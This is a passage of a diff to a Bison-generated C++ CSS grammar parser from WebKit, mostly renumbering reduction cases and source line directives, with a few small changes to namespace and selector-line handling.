+#line 398 "css\\CSSGrammar.y"
     { (yyval.ruleList) = 0; ;}
     break;
 
-  case 50:
+  case 43:
 
 /* Line 1455 of yacc.c  */
-#line 427 "../css/CSSGrammar.y"
+#line 399 "css\\CSSGrammar.y"
     {
       (yyval.ruleList) = (yyvsp[(1) - (3)].ruleList);
       if ((yyvsp[(2) - (3)].rule)) {
@@ -2307,91 +2320,91 @@ yyreduce:
   ;}
     break;
 
-  case 60:
+  case 55:
 
 /* Line 1455 of yacc.c  */
-#line 454 "../css/CSSGrammar.y"
+#line 428 "css\\CSSGrammar.y"
     {
         (yyval.rule) = static_cast<CSSParser*>(parser)->createImportRule((yyvsp[(3) - (6)].string), (yyvsp[(5) - (6)].mediaList));
     ;}
     break;
 
-  case 61:
+  case 56:
 
 /* Line 1455 of yacc.c  */
-#line 457 "../css/CSSGrammar.y"
+#line 431 "css\\CSSGrammar.y"
     {
         (yyval.rule) = 0;
     ;}
     break;
 
-  case 62:
+  case 57:
 
 /* Line 1455 of yacc.c  */
-#line 460 "../css/CSSGrammar.y"
+#line 434 "css\\CSSGrammar.y"
     {
         (yyval.rule) = 0;
     ;}
     break;
 
-  case 63:
+  case 58:
 
 /* Line 1455 of yacc.c  */
-#line 463 "../css/CSSGrammar.y"
+#line 437 "css\\CSSGrammar.y"
     {
         (yyval.rule) = 0;
     ;}
     break;
 
-  case 64:
+  case 59:
 
 /* Line 1455 of yacc.c  */
-#line 469 "../css/CSSGrammar.y"
+#line 443 "css\\CSSGrammar.y"
     {
         (yyval.rule) = static_cast<CSSParser*>(parser)->createVariablesRule((yyvsp[(3) - (7)].mediaList), true);
     ;}
     break;
 
-  case 65:
+  case 60:
 
 /* Line 1455 of yacc.c  */
-#line 473 "../css/CSSGrammar.y"
+#line 447 "css\\CSSGrammar.y"
     {
         (yyval.rule) = static_cast<CSSParser*>(parser)->createVariablesRule((yyvsp[(3) - (7)].mediaList), false);
     ;}
     break;
 
-  case 66:
+  case 61:
 
 /* Line 1455 of yacc.c  */
-#line 479 "../css/CSSGrammar.y"
+#line 453 "css\\CSSGrammar.y"
     {
         (yyval.mediaList) = static_cast<CSSParser*>(parser)->createMediaList();
     ;}
     break;
 
-  case 67:
+  case 62:
 
 /* Line 1455 of yacc.c  */
-#line 483 "../css/CSSGrammar.y"
+#line 457 "css\\CSSGrammar.y"
     {
         (yyval.mediaList) = (yyvsp[(3) - (3)].mediaList);
     ;}
     break;
 
-  case 68:
+  case 63:
 
 /* Line 1455 of yacc.c  */
-#line 489 "../css/CSSGrammar.y"
+#line 463 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = (yyvsp[(1) - (1)].boolean);
     ;}
     break;
 
-  case 69:
+  case 64:
 
 /* Line 1455 of yacc.c  */
-#line 492 "../css/CSSGrammar.y"
+#line 466 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = (yyvsp[(1) - (2)].boolean);
         if ((yyvsp[(2) - (2)].boolean))
@@ -2399,82 +2412,82 @@ yyreduce:
     ;}
     break;
 
-  case 70:
+  case 65:
 
 /* Line 1455 of yacc.c  */
-#line 497 "../css/CSSGrammar.y"
+#line 471 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = (yyvsp[(1) - (1)].boolean);
     ;}
     break;
 
-  case 71:
+  case 66:
 
 /* Line 1455 of yacc.c  */
-#line 500 "../css/CSSGrammar.y"
+#line 474 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = false;
     ;}
     break;
 
-  case 72:
+  case 67:
 
 /* Line 1455 of yacc.c  */
-#line 503 "../css/CSSGrammar.y"
+#line 477 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = false;
     ;}
     break;
 
-  case 73:
+  case 68:
 
 /* Line 1455 of yacc.c  */
-#line 506 "../css/CSSGrammar.y"
+#line 480 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = (yyvsp[(1) - (2)].boolean);
     ;}
     break;
 
-  case 74:
+  case 69:
 
 /* Line 1455 of yacc.c  */
-#line 512 "../css/CSSGrammar.y"
+#line 486 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = (yyvsp[(1) - (3)].boolean);
     ;}
     break;
 
-  case 75:
+  case 70:
 
 /* Line 1455 of yacc.c  */
-#line 515 "../css/CSSGrammar.y"
+#line 489 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = false;
     ;}
     break;
 
-  case 76:
+  case 71:
 
 /* Line 1455 of yacc.c  */
-#line 518 "../css/CSSGrammar.y"
+#line 492 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = false;
     ;}
     break;
 
-  case 77:
+  case 72:
 
 /* Line 1455 of yacc.c  */
-#line 521 "../css/CSSGrammar.y"
+#line 495 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = false;
     ;}
     break;
 
-  case 78:
+  case 73:
 
 /* Line 1455 of yacc.c  */
-#line 524 "../css/CSSGrammar.y"
+#line 498 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = (yyvsp[(1) - (4)].boolean);
         if ((yyvsp[(2) - (4)].boolean))
@@ -2482,155 +2495,181 @@ yyreduce:
     ;}
     break;
 
-  case 79:
+  case 74:
 
 /* Line 1455 of yacc.c  */
-#line 529 "../css/CSSGrammar.y"
+#line 503 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = (yyvsp[(1) - (4)].boolean);
     ;}
     break;
 
-  case 80:
+  case 75:
 
 /* Line 1455 of yacc.c  */
-#line 532 "../css/CSSGrammar.y"
+#line 506 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = (yyvsp[(1) - (6)].boolean);
     ;}
     break;
 
-  case 81:
+  case 76:
 
 /* Line 1455 of yacc.c  */
-#line 538 "../css/CSSGrammar.y"
+#line 512 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = static_cast<CSSParser*>(parser)->addVariable((yyvsp[(1) - (4)].string), (yyvsp[(4) - (4)].valueList));
     ;}
     break;
 
-  case 82:
+  case 77:
 
 /* Line 1455 of yacc.c  */
-#line 542 "../css/CSSGrammar.y"
+#line 516 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = static_cast<CSSParser*>(parser)->addVariableDeclarationBlock((yyvsp[(1) - (7)].string));
     ;}
     break;
 
-  case 83:
+  case 78:
 
 /* Line 1455 of yacc.c  */
-#line 546 "../css/CSSGrammar.y"
+#line 520 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = false;
     ;}
     break;
 
-  case 84:
+  case 79:
 
 /* Line 1455 of yacc.c  */
-#line 550 "../css/CSSGrammar.y"
+#line 524 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = false;
     ;}
     break;
 
-  case 85:
+  case 80:
 
 /* Line 1455 of yacc.c  */
-#line 554 "../css/CSSGrammar.y"
+#line 528 "css\\CSSGrammar.y"
     {
         /* @variables { varname: } Just reduce away this variable with no value. */
         (yyval.boolean) = false;
     ;}
     break;
 
-  case 86:
+  case 81:
 
 /* Line 1455 of yacc.c  */
-#line 559 "../css/CSSGrammar.y"
+#line 533 "css\\CSSGrammar.y"
     {
         /* if we come across rules with invalid values like this case: @variables { varname: *; }, just discard the property/value pair */
         (yyval.boolean) = false;
     ;}
     break;
 
-  case 87:
+  case 82:
 
 /* Line 1455 of yacc.c  */
-#line 566 "../css/CSSGrammar.y"
+#line 540 "css\\CSSGrammar.y"
     {
         (yyval.string) = (yyvsp[(1) - (2)].string);
     ;}
     break;
 
-  case 88:
+  case 83:
 
 /* Line 1455 of yacc.c  */
-#line 572 "../css/CSSGrammar.y"
+#line 546 "css\\CSSGrammar.y"
     {
-    CSSParser* p = static_cast<CSSParser*>(parser);
-    if (p->m_styleSheet)
-        p->m_styleSheet->addNamespace(p, (yyvsp[(3) - (6)].string), (yyvsp[(4) - (6)].string));
+    static_cast<CSSParser*>(parser)->addNamespace((yyvsp[(3) - (6)].string), (yyvsp[(4) - (6)].string));
+    (yyval.rule) = 0;
 ;}
     break;
 
-  case 91:
+  case 84:
+
+/* Line 1455 of yacc.c  */
+#line 550 "css\\CSSGrammar.y"
+    {
+    (yyval.rule) = 0;
+;}
+    break;
+
+  case 85:
+
+/* Line 1455 of yacc.c  */
+#line 553 "css\\CSSGrammar.y"
+    {
+    (yyval.rule) = 0;
+;}
+    break;
+
+  case 86:
 
 /* Line 1455 of yacc.c  */
-#line 582 "../css/CSSGrammar.y"
+#line 556 "css\\CSSGrammar.y"
+    {
+    (yyval.rule) = 0;
+;}
+    break;
+
+  case 87:
+
+/* Line 1455 of yacc.c  */
+#line 562 "css\\CSSGrammar.y"
     { (yyval.string).characters = 0; ;}
     break;
 
-  case 92:
+  case 88:
 
 /* Line 1455 of yacc.c  */
-#line 583 "../css/CSSGrammar.y"
+#line 563 "css\\CSSGrammar.y"
     { (yyval.string) = (yyvsp[(1) - (2)].string); ;}
     break;
 
-  case 95:
+  case 91:
 
 /* Line 1455 of yacc.c  */
-#line 592 "../css/CSSGrammar.y"
+#line 572 "css\\CSSGrammar.y"
     {
         (yyval.string) = (yyvsp[(1) - (2)].string);
     ;}
     break;
 
-  case 96:
+  case 92:
 
 /* Line 1455 of yacc.c  */
-#line 598 "../css/CSSGrammar.y"
+#line 578 "css\\CSSGrammar.y"
     {
         (yyval.valueList) = 0;
     ;}
     break;
 
-  case 97:
+  case 93:
 
 /* Line 1455 of yacc.c  */
-#line 601 "../css/CSSGrammar.y"
+#line 581 "css\\CSSGrammar.y"
     {
         (yyval.valueList) = (yyvsp[(3) - (4)].valueList);
     ;}
     break;
 
-  case 98:
+  case 94:
 
 /* Line 1455 of yacc.c  */
-#line 607 "../css/CSSGrammar.y"
+#line 587 "css\\CSSGrammar.y"
     {
         (yyvsp[(3) - (7)].string).lower();
         (yyval.mediaQueryExp) = static_cast<CSSParser*>(parser)->createFloatingMediaQueryExp((yyvsp[(3) - (7)].string), (yyvsp[(5) - (7)].valueList));
     ;}
     break;
 
-  case 99:
+  case 95:
 
 /* Line 1455 of yacc.c  */
-#line 614 "../css/CSSGrammar.y"
+#line 594 "css\\CSSGrammar.y"
     {
         CSSParser* p = static_cast<CSSParser*>(parser);
         (yyval.mediaQueryExpList) = p->createFloatingMediaQueryExpList();
@@ -2638,75 +2677,75 @@ yyreduce:
     ;}
     break;
 
-  case 100:
+  case 96:
 
 /* Line 1455 of yacc.c  */
-#line 619 "../css/CSSGrammar.y"
+#line 599 "css\\CSSGrammar.y"
     {
         (yyval.mediaQueryExpList) = (yyvsp[(1) - (5)].mediaQueryExpList);
         (yyval.mediaQueryExpList)->append(static_cast<CSSParser*>(parser)->sinkFloatingMediaQueryExp((yyvsp[(5) - (5)].mediaQueryExp)));
     ;}
     break;
 
-  case 101:
+  case 97:
 
 /* Line 1455 of yacc.c  */
-#line 626 "../css/CSSGrammar.y"
+#line 606 "css\\CSSGrammar.y"
     {
         (yyval.mediaQueryExpList) = static_cast<CSSParser*>(parser)->createFloatingMediaQueryExpList();
     ;}
     break;
 
-  case 102:
+  case 98:
 
 /* Line 1455 of yacc.c  */
-#line 629 "../css/CSSGrammar.y"
+#line 609 "css\\CSSGrammar.y"
     {
         (yyval.mediaQueryExpList) = (yyvsp[(3) - (3)].mediaQueryExpList);
     ;}
     break;
 
-  case 103:
+  case 99:
 
 /* Line 1455 of yacc.c  */
-#line 635 "../css/CSSGrammar.y"
+#line 615 "css\\CSSGrammar.y"
     {
         (yyval.mediaQueryRestrictor) = MediaQuery::None;
     ;}
     break;
 
-  case 104:
+  case 100:
 
 /* Line 1455 of yacc.c  */
-#line 638 "../css/CSSGrammar.y"
+#line 618 "css\\CSSGrammar.y"
     {
         (yyval.mediaQueryRestrictor) = MediaQuery::Only;
     ;}
     break;
 
-  case 105:
+  case 101:
 
 /* Line 1455 of yacc.c  */
-#line 641 "../css/CSSGrammar.y"
+#line 621 "css\\CSSGrammar.y"
     {
         (yyval.mediaQueryRestrictor) = MediaQuery::Not;
     ;}
     break;
 
-  case 106:
+  case 102:
 
 /* Line 1455 of yacc.c  */
-#line 647 "../css/CSSGrammar.y"
+#line 627 "css\\CSSGrammar.y"
     {
         CSSParser* p = static_cast<CSSParser*>(parser);
         (yyval.mediaQuery) = p->createFloatingMediaQuery(p->sinkFloatingMediaQueryExpList((yyvsp[(1) - (1)].mediaQueryExpList)));
     ;}
     break;
 
-  case 107:
+  case 103:
 
 /* Line 1455 of yacc.c  */
-#line 652 "../css/CSSGrammar.y"
+#line 632 "css\\CSSGrammar.y"
     {
         CSSParser* p = static_cast<CSSParser*>(parser);
         (yyvsp[(3) - (4)].string).lower();
@@ -2714,19 +2753,19 @@ yyreduce:
     ;}
     break;
 
-  case 108:
+  case 104:
 
 /* Line 1455 of yacc.c  */
-#line 660 "../css/CSSGrammar.y"
+#line 640 "css\\CSSGrammar.y"
     {
         (yyval.mediaList) = static_cast<CSSParser*>(parser)->createMediaList();
      ;}
     break;
 
-  case 110:
+  case 106:
 
 /* Line 1455 of yacc.c  */
-#line 667 "../css/CSSGrammar.y"
+#line 647 "css\\CSSGrammar.y"
     {
         CSSParser* p = static_cast<CSSParser*>(parser);
         (yyval.mediaList) = p->createMediaList();
@@ -2734,10 +2773,10 @@ yyreduce:
     ;}
     break;
 
-  case 111:
+  case 107:
 
 /* Line 1455 of yacc.c  */
-#line 672 "../css/CSSGrammar.y"
+#line 652 "css\\CSSGrammar.y"
     {
         (yyval.mediaList) = (yyvsp[(1) - (4)].mediaList);
         if ((yyval.mediaList))
@@ -2745,63 +2784,63 @@ yyreduce:
     ;}
     break;
 
-  case 112:
+  case 108:
 
 /* Line 1455 of yacc.c  */
-#line 677 "../css/CSSGrammar.y"
+#line 657 "css\\CSSGrammar.y"
     {
         (yyval.mediaList) = 0;
     ;}
     break;
 
-  case 113:
+  case 109:
 
 /* Line 1455 of yacc.c  */
-#line 683 "../css/CSSGrammar.y"
+#line 663 "css\\CSSGrammar.y"
     {
         (yyval.rule) = static_cast<CSSParser*>(parser)->createMediaRule((yyvsp[(3) - (7)].mediaList), (yyvsp[(6) - (7)].ruleList));
     ;}
     break;
 
-  case 114:
+  case 110:
 
 /* Line 1455 of yacc.c  */
-#line 686 "../css/CSSGrammar.y"
+#line 666 "css\\CSSGrammar.y"
     {
         (yyval.rule) = static_cast<CSSParser*>(parser)->createMediaRule(0, (yyvsp[(5) - (6)].ruleList));
     ;}
     break;
 
-  case 115:
+  case 111:
 
 /* Line 1455 of yacc.c  */
-#line 692 "../css/CSSGrammar.y"
+#line 672 "css\\CSSGrammar.y"
     {
       (yyval.string) = (yyvsp[(1) - (2)].string);
   ;}
     break;
 
-  case 116:
+  case 112:
 
 /* Line 1455 of yacc.c  */
-#line 698 "../css/CSSGrammar.y"
+#line 678 "css\\CSSGrammar.y"
     {
         (yyval.rule) = (yyvsp[(7) - (8)].keyframesRule);
         (yyvsp[(7) - (8)].keyframesRule)->setNameInternal((yyvsp[(3) - (8)].string));
     ;}
     break;
 
-  case 119:
+  case 115:
 
 /* Line 1455 of yacc.c  */
-#line 710 "../css/CSSGrammar.y"
+#line 690 "css\\CSSGrammar.y"
     { (yyval.keyframesRule) = static_cast<CSSParser*>(parser)->createKeyframesRule(); ;}
     break;
 
-  case 120:
+  case 116:
 
 /* Line 1455 of yacc.c  */
-#line 711 "../css/CSSGrammar.y"
+#line 691 "css\\CSSGrammar.y"
     {
         (yyval.keyframesRule) = (yyvsp[(1) - (3)].keyframesRule);
         if ((yyvsp[(2) - (3)].keyframeRule))
@@ -2809,19 +2848,19 @@ yyreduce:
     ;}
     break;
 
-  case 121:
+  case 117:
 
 /* Line 1455 of yacc.c  */
-#line 719 "../css/CSSGrammar.y"
+#line 699 "css\\CSSGrammar.y"
     {
         (yyval.keyframeRule) = static_cast<CSSParser*>(parser)->createKeyframeRule((yyvsp[(1) - (6)].valueList));
     ;}
     break;
 
-  case 122:
+  case 118:
 
 /* Line 1455 of yacc.c  */
-#line 725 "../css/CSSGrammar.y"
+#line 705 "css\\CSSGrammar.y"
     {
         CSSParser* p = static_cast<CSSParser*>(parser);
         (yyval.valueList) = p->createFloatingValueList();
@@ -2829,10 +2868,10 @@ yyreduce:
     ;}
     break;
 
-  case 123:
+  case 119:
 
 /* Line 1455 of yacc.c  */
-#line 730 "../css/CSSGrammar.y"
+#line 710 "css\\CSSGrammar.y"
     {
         CSSParser* p = static_cast<CSSParser*>(parser);
         (yyval.valueList) = (yyvsp[(1) - (5)].valueList);
@@ -2841,17 +2880,17 @@ yyreduce:
     ;}
     break;
 
-  case 124:
+  case 120:
 
 /* Line 1455 of yacc.c  */
-#line 739 "../css/CSSGrammar.y"
+#line 719 "css\\CSSGrammar.y"
     { (yyval.value).id = 0; (yyval.value).isInt = false; (yyval.value).fValue = (yyvsp[(1) - (1)].number); (yyval.value).unit = CSSPrimitiveValue::CSS_NUMBER; ;}
     break;
 
-  case 125:
+  case 121:
 
 /* Line 1455 of yacc.c  */
-#line 740 "../css/CSSGrammar.y"
+#line 720 "css\\CSSGrammar.y"
     {
         (yyval.value).id = 0; (yyval.value).isInt = false; (yyval.value).unit = CSSPrimitiveValue::CSS_NUMBER;
         CSSParserString& str = (yyvsp[(1) - (1)].string);
@@ -2864,99 +2903,113 @@ yyreduce:
     ;}
     break;
 
-  case 126:
+  case 122:
 
 /* Line 1455 of yacc.c  */
-#line 764 "../css/CSSGrammar.y"
+#line 744 "css\\CSSGrammar.y"
     {
       (yyval.rule) = 0;
     ;}
     break;
 
-  case 127:
+  case 123:
 
 /* Line 1455 of yacc.c  */
-#line 767 "../css/CSSGrammar.y"
+#line 747 "css\\CSSGrammar.y"
     {
       (yyval.rule) = 0;
     ;}
     break;
 
-  case 128:
+  case 124:
 
 /* Line 1455 of yacc.c  */
-#line 774 "../css/CSSGrammar.y"
+#line 754 "css\\CSSGrammar.y"
     {
         (yyval.rule) = static_cast<CSSParser*>(parser)->createFontFaceRule();
     ;}
     break;
 
-  case 129:
+  case 125:
 
 /* Line 1455 of yacc.c  */
-#line 777 "../css/CSSGrammar.y"
+#line 757 "css\\CSSGrammar.y"
     {
       (yyval.rule) = 0;
     ;}
     break;
 
-  case 130:
+  case 126:
 
 /* Line 1455 of yacc.c  */
-#line 780 "../css/CSSGrammar.y"
+#line 760 "css\\CSSGrammar.y"
     {
       (yyval.rule) = 0;
     ;}
     break;
 
-  case 131:
+  case 127:
 
 /* Line 1455 of yacc.c  */
-#line 786 "../css/CSSGrammar.y"
+#line 766 "css\\CSSGrammar.y"
     { (yyval.relation) = CSSSelector::DirectAdjacent; ;}
     break;
 
-  case 132:
+  case 128:
 
 /* Line 1455 of yacc.c  */
-#line 787 "../css/CSSGrammar.y"
+#line 767 "css\\CSSGrammar.y"
     { (yyval.relation) = CSSSelector::IndirectAdjacent; ;}
     break;
 
-  case 133:
+  case 129:
 
 /* Line 1455 of yacc.c  */
-#line 788 "../css/CSSGrammar.y"
+#line 768 "css\\CSSGrammar.y"
     { (yyval.relation) = CSSSelector::Child; ;}
     break;
 
-  case 134:
+  case 130:
 
 /* Line 1455 of yacc.c  */
-#line 792 "../css/CSSGrammar.y"
+#line 772 "css\\CSSGrammar.y"
+    { (yyval.integer) = (yyvsp[(1) - (1)].integer); ;}
+    break;
+
+  case 131:
+
+/* Line 1455 of yacc.c  */
+#line 773 "css\\CSSGrammar.y"
+    { (yyval.integer) = 1; ;}
+    break;
+
+  case 132:
+
+/* Line 1455 of yacc.c  */
+#line 777 "css\\CSSGrammar.y"
     { (yyval.integer) = -1; ;}
     break;
 
-  case 135:
+  case 133:
 
 /* Line 1455 of yacc.c  */
-#line 793 "../css/CSSGrammar.y"
+#line 778 "css\\CSSGrammar.y"
     { (yyval.integer) = 1; ;}
     break;
 
-  case 136:
+  case 134:
 
 /* Line 1455 of yacc.c  */
-#line 797 "../css/CSSGrammar.y"
+#line 782 "css\\CSSGrammar.y"
     {
         (yyval.rule) = static_cast<CSSParser*>(parser)->createStyleRule((yyvsp[(1) - (5)].selectorList));
     ;}
     break;
 
-  case 137:
+  case 135:
 
 /* Line 1455 of yacc.c  */
-#line 803 "../css/CSSGrammar.y"
+#line 788 "css\\CSSGrammar.y"
     {
         if ((yyvsp[(1) - (1)].selector)) {
             CSSParser* p = static_cast<CSSParser*>(parser);
@@ -2964,64 +3017,66 @@ yyreduce:
             deleteAllValues(*(yyval.selectorList));
             (yyval.selectorList)->shrink(0);
             (yyval.selectorList)->append(p->sinkFloatingSelector((yyvsp[(1) - (1)].selector)));
+            p->updateLastSelectorLine();
         }
     ;}
     break;
 
-  case 138:
+  case 136:
 
 /* Line 1455 of yacc.c  */
-#line 812 "../css/CSSGrammar.y"
+#line 798 "css\\CSSGrammar.y"
     {
         if ((yyvsp[(1) - (4)].selectorList) && (yyvsp[(4) - (4)].selector)) {
             CSSParser* p = static_cast<CSSParser*>(parser);
             (yyval.selectorList) = (yyvsp[(1) - (4)].selectorList);
             (yyval.selectorList)->append(p->sinkFloatingSelector((yyvsp[(4) - (4)].selector)));
+            p->updateLastSelectorLine();
         } else
             (yyval.selectorList) = 0;
     ;}
     break;
 
-  case 139:
+  case 137:
 
 /* Line 1455 of yacc.c  */
-#line 820 "../css/CSSGrammar.y"
+#line 807 "css\\CSSGrammar.y"
     {
         (yyval.selectorList) = 0;
     ;}
     break;
 
-  case 140:
+  case 138:
 
 /* Line 1455 of yacc.c  */
-#line 826 "../css/CSSGrammar.y"
+#line 813 "css\\CSSGrammar.y"
     {
         (yyval.selector) = (yyvsp[(1) - (2)].selector);
     ;}
     break;
 
-  case 141:
+  case 139:
 
 /* Line 1455 of yacc.c  */
-#line 832 "../css/CSSGrammar.y"
+#line 819 "css\\CSSGrammar.y"
     {
         (yyval.selector) = (yyvsp[(1) - (1)].selector);
     ;}
     break;
 
-  case 142:
+  case 140:
 
 /* Line 1455 of yacc.c  */
-#line 836 "../css/CSSGrammar.y"
+#line 823 "css\\CSSGrammar.y"
     {
         (yyval.selector) = (yyvsp[(1) - (1)].selector);
     ;}
     break;
 
-  case 143:
+  case 141:
 
 /* Line 1455 of yacc.c  */
-#line 840 "../css/CSSGrammar.y"
+#line 827 "css\\CSSGrammar.y"
     {
         (yyval.selector) = (yyvsp[(2) - (2)].selector);
         if (!(yyvsp[(1) - (2)].selector))
@@ -3039,10 +3094,10 @@ yyreduce:
     ;}
     break;
 
-  case 144:
+  case 142:
 
 /* Line 1455 of yacc.c  */
-#line 855 "../css/CSSGrammar.y"
+#line 842 "css\\CSSGrammar.y"
     {
         (yyval.selector) = (yyvsp[(3) - (3)].selector);
         if (!(yyvsp[(1) - (3)].selector))
@@ -3065,40 +3120,40 @@ yyreduce:
     ;}
     break;
 
-  case 145:
+  case 143:
 
 /* Line 1455 of yacc.c  */
-#line 875 "../css/CSSGrammar.y"
+#line 862 "css\\CSSGrammar.y"
     {
         (yyval.selector) = 0;
     ;}
     break;
 
-  case 146:
+  case 144:
 
 /* Line 1455 of yacc.c  */
-#line 881 "../css/CSSGrammar.y"
+#line 868 "css\\CSSGrammar.y"
     { (yyval.string).characters = 0; (yyval.string).length = 0; ;}
     break;
 
-  case 147:
+  case 145:
 
 /* Line 1455 of yacc.c  */
-#line 882 "../css/CSSGrammar.y"
+#line 869 "css\\CSSGrammar.y"
     { static UChar star = '*'; (yyval.string).characters = &star; (yyval.string).length = 1; ;}
     break;
 
-  case 148:
+  case 146:
 
 /* Line 1455 of yacc.c  */
-#line 883 "../css/CSSGrammar.y"
+#line 870 "css\\CSSGrammar.y"
     { (yyval.string) = (yyvsp[(1) - (2)].string); ;}
     break;
 
-  case 149:
+  case 147:
 
 /* Line 1455 of yacc.c  */
-#line 887 "../css/CSSGrammar.y"
+#line 874 "css\\CSSGrammar.y"
     {
         CSSParser* p = static_cast<CSSParser*>(parser);
         (yyval.selector) = p->createFloatingSelector();
@@ -3106,10 +3161,10 @@ yyreduce:
     ;}
     break;
 
-  case 150:
+  case 148:
 
 /* Line 1455 of yacc.c  */
-#line 892 "../css/CSSGrammar.y"
+#line 879 "css\\CSSGrammar.y"
     {
         (yyval.selector) = (yyvsp[(2) - (2)].selector);
         if ((yyval.selector)) {
@@ -3119,10 +3174,10 @@ yyreduce:
     ;}
     break;
 
-  case 151:
+  case 149:
 
 /* Line 1455 of yacc.c  */
-#line 899 "../css/CSSGrammar.y"
+#line 886 "css\\CSSGrammar.y"
     {
         (yyval.selector) = (yyvsp[(1) - (1)].selector);
         CSSParser* p = static_cast<CSSParser*>(parser);
@@ -3131,10 +3186,10 @@ yyreduce:
     ;}
     break;
 
-  case 152:
+  case 150:
 
 /* Line 1455 of yacc.c  */
-#line 905 "../css/CSSGrammar.y"
+#line 892 "css\\CSSGrammar.y"
     {
         AtomicString namespacePrefix = (yyvsp[(1) - (2)].string);
         CSSParser* p = static_cast<CSSParser*>(parser);
@@ -3147,10 +3202,10 @@ yyreduce:
     ;}
     break;
 
-  case 153:
+  case 151:
 
 /* Line 1455 of yacc.c  */
-#line 915 "../css/CSSGrammar.y"
+#line 902 "css\\CSSGrammar.y"
     {
         (yyval.selector) = (yyvsp[(3) - (3)].selector);
         if ((yyval.selector)) {
@@ -3165,10 +3220,10 @@ yyreduce:
     ;}
     break;
 
-  case 154:
+  case 152:
 
 /* Line 1455 of yacc.c  */
-#line 927 "../css/CSSGrammar.y"
+#line 914 "css\\CSSGrammar.y"
     {
         (yyval.selector) = (yyvsp[(2) - (2)].selector);
         if ((yyval.selector)) {
@@ -3181,10 +3236,10 @@ yyreduce:
     ;}
     break;
 
-  case 155:
+  case 153:
 
 /* Line 1455 of yacc.c  */
-#line 940 "../css/CSSGrammar.y"
+#line 927 "css\\CSSGrammar.y"
     {
         CSSParserString& str = (yyvsp[(1) - (1)].string);
         CSSParser* p = static_cast<CSSParser*>(parser);
@@ -3195,10 +3250,10 @@ yyreduce:
     ;}
     break;
 
-  case 156:
+  case 154:
 
 /* Line 1455 of yacc.c  */
-#line 948 "../css/CSSGrammar.y"
+#line 935 "css\\CSSGrammar.y"
     {
         static UChar star = '*';
         (yyval.string).characters = &star;
@@ -3206,19 +3261,19 @@ yyreduce:
     ;}
     break;
 
-  case 157:
+  case 155:
 
 /* Line 1455 of yacc.c  */
-#line 956 "../css/CSSGrammar.y"
+#line 943 "css\\CSSGrammar.y"
     {
         (yyval.selector) = (yyvsp[(1) - (1)].selector);
     ;}
     break;
 
-  case 158:
+  case 156:
 
 /* Line 1455 of yacc.c  */
-#line 959 "../css/CSSGrammar.y"
+#line 946 "css\\CSSGrammar.y"
     {
         if (!(yyvsp[(2) - (2)].selector))
             (yyval.selector) = 0;
@@ -3234,19 +3289,19 @@ yyreduce:
     ;}
     break;
 
-  case 159:
+  case 157:
 
 /* Line 1455 of yacc.c  */
-#line 972 "../css/CSSGrammar.y"
+#line 959 "css\\CSSGrammar.y"
     {
         (yyval.selector) = 0;
     ;}
     break;
 
-  case 160:
+  case 158:
 
 /* Line 1455 of yacc.c  */
-#line 978 "../css/CSSGrammar.y"
+#line 965 "css\\CSSGrammar.y"
     {
         CSSParser* p = static_cast<CSSParser*>(parser);
         (yyval.selector) = p->createFloatingSelector();
@@ -3257,10 +3312,10 @@ yyreduce:
     ;}
     break;
 
-  case 161:
+  case 159:
 
 /* Line 1455 of yacc.c  */
-#line 986 "../css/CSSGrammar.y"
+#line 973 "css\\CSSGrammar.y"
     {
         if ((yyvsp[(1) - (1)].string).characters[0] >= '0' && (yyvsp[(1) - (1)].string).characters[0] <= '9') {
             (yyval.selector) = 0;
@@ -3275,10 +3330,10 @@ yyreduce:
     ;}
     break;
 
-  case 165:
+  case 163:
 
 /* Line 1455 of yacc.c  */
-#line 1004 "../css/CSSGrammar.y"
+#line 991 "css\\CSSGrammar.y"
     {
         CSSParser* p = static_cast<CSSParser*>(parser);
         (yyval.selector) = p->createFloatingSelector();
@@ -3289,10 +3344,10 @@ yyreduce:
     ;}
     break;
 
-  case 166:
+  case 164:
 
 /* Line 1455 of yacc.c  */
-#line 1015 "../css/CSSGrammar.y"
+#line 1002 "css\\CSSGrammar.y"
     {
         CSSParserString& str = (yyvsp[(1) - (2)].string);
         CSSParser* p = static_cast<CSSParser*>(parser);
@@ -3303,10 +3358,10 @@ yyreduce:
     ;}
     break;
 
-  case 167:
+  case 165:
 
 /* Line 1455 of yacc.c  */
-#line 1026 "../css/CSSGrammar.y"
+#line 1013 "css\\CSSGrammar.y"
     {
         (yyval.selector) = static_cast<CSSParser*>(parser)->createFloatingSelector();
         (yyval.selector)->setAttribute(QualifiedName(nullAtom, (yyvsp[(3) - (4)].string), nullAtom));
@@ -3314,10 +3369,10 @@ yyreduce:
     ;}
     break;
 
-  case 168:
+  case 166:
 
 /* Line 1455 of yacc.c  */
-#line 1031 "../css/CSSGrammar.y"
+#line 1018 "css\\CSSGrammar.y"
     {
         (yyval.selector) = static_cast<CSSParser*>(parser)->createFloatingSelector();
         (yyval.selector)->setAttribute(QualifiedName(nullAtom, (yyvsp[(3) - (8)].string), nullAtom));
@@ -3326,10 +3381,10 @@ yyreduce:
     ;}
     break;
 
-  case 169:
+  case 167:
 
 /* Line 1455 of yacc.c  */
-#line 1037 "../css/CSSGrammar.y"
+#line 1024 "css\\CSSGrammar.y"
     {
         AtomicString namespacePrefix = (yyvsp[(3) - (5)].string);
         CSSParser* p = static_cast<CSSParser*>(parser);
@@ -3340,10 +3395,10 @@ yyreduce:
     ;}
     break;
 
-  case 170:
+  case 168:
 
 /* Line 1455 of yacc.c  */
-#line 1045 "../css/CSSGrammar.y"
+#line 1032 "css\\CSSGrammar.y"
     {
         AtomicString namespacePrefix = (yyvsp[(3) - (9)].string);
         CSSParser* p = static_cast<CSSParser*>(parser);
@@ -3355,64 +3410,64 @@ yyreduce:
     ;}
     break;
 
-  case 171:
+  case 169:
 
 /* Line 1455 of yacc.c  */
